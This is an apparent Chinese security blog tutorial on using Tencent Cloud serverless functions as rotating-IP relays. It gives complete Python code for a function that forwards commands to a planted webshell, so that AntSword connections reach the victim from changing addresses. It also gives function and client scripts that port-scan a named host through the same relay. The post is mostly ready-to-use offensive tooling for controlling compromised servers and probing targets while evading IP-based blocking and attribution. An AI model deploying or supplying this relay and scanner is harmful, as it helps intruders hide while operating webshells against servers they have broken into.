0x01 创建云函数

在腾讯云控制台搜索云函数,在函数服务->函数管理进行新建

28058-q6klbrv8phk.png

​然后选择自定义创建,运行环境选择python3.6,函数名随意,地域则随便选一个即可,会随机分配该地域下的IP作为我们的出口IP地址

16184-ktbszwwvb9d.png

0x02 连接Webshell

函数代码中脚本如下,主要是通过将Webshell地址作为参数传入云函数API中,在云函数服务端脚本中重组Webshell地址以及POST命令内容,将重组后的请求内容转发给Webshel

#!/usr/bin/env
# -*- coding:utf-8 -*-

import requests
import json
from urllib.parse import urlsplit

def geturl(urlstr):
    jurlstr = json.dumps(urlstr)
    dict_url = json.loads(jurlstr)
    return dict_url['url']

def main_handler(event, context):
    url = geturl(event['queryString'])
    host = urlsplit(url).netloc
    postdata = event['body']
    headers = event['headers']
    headers["HOST"] = host
    resp = requests.post(url, data=postdata, headers=headers, verify=False)
    response = {
        "isBase64Encoded": False,
        "statusCode": 200,
        "headers": {'Content-Type': 'text/html;charset=' + resp.apparent_encoding},
        "body": resp.text
}
    return response

配置好云函数代码后,继续进入 触发管理 选项

63023-am7bmwulq2.png

触发器配置如图所示,取消勾选集成响应

55737-4sx6i0si4x9.png

配置完成

94205-n50ynjz2qp.png

我们可以通过蚁剑直接连接Webshell,URL请求地址填为api地址+webshell地址

51795-8jhrt87hs1v.png

查看服务器,可以发现请求都是不同的ip地址

62026-in4tiydzitd.png

0x03 端口扫描实现

云函数代码,其他配置不变

# -*- coding: utf8 -*-
from socket import *
def main_handler(event, context):
    host=event["queryString"]["host"]
    port=event["queryString"]["port"]
    try:
        conn=socket(2,1)
        conn.settimeout(1.5) #超时时间
        res=conn.connect_ex((str(host),int(port)))
        if res==0:
            conn.close()
            return 'open'
    except Exception as err:
        print(err)

    conn.close()

    return 'close'

客户端代码如下:

import requests
    def main():
        portList=[22,21,80,443,3306,3389]
        host='blog.mo60.cn'
        serverless='https://tencentcs.com/release/helloworld'
        for port in portList:
            tmp=f'{serverless}?host={host}&port={port}'
            r=requests.get(tmp,timeout=3)
            if r.text =='"open"':
                print(f'[+]{port}-open')
    if __name__=="__main__":
        main()

运行效果如下

89256-fs9jlvsur9.png

0x04 参考

https://www.secpulse.com/archives/168359.html
https://xz.aliyun.com/t/10612

最后修改:2022 年 04 月 22 日
如果觉得我的文章对你有用,请随意赞赏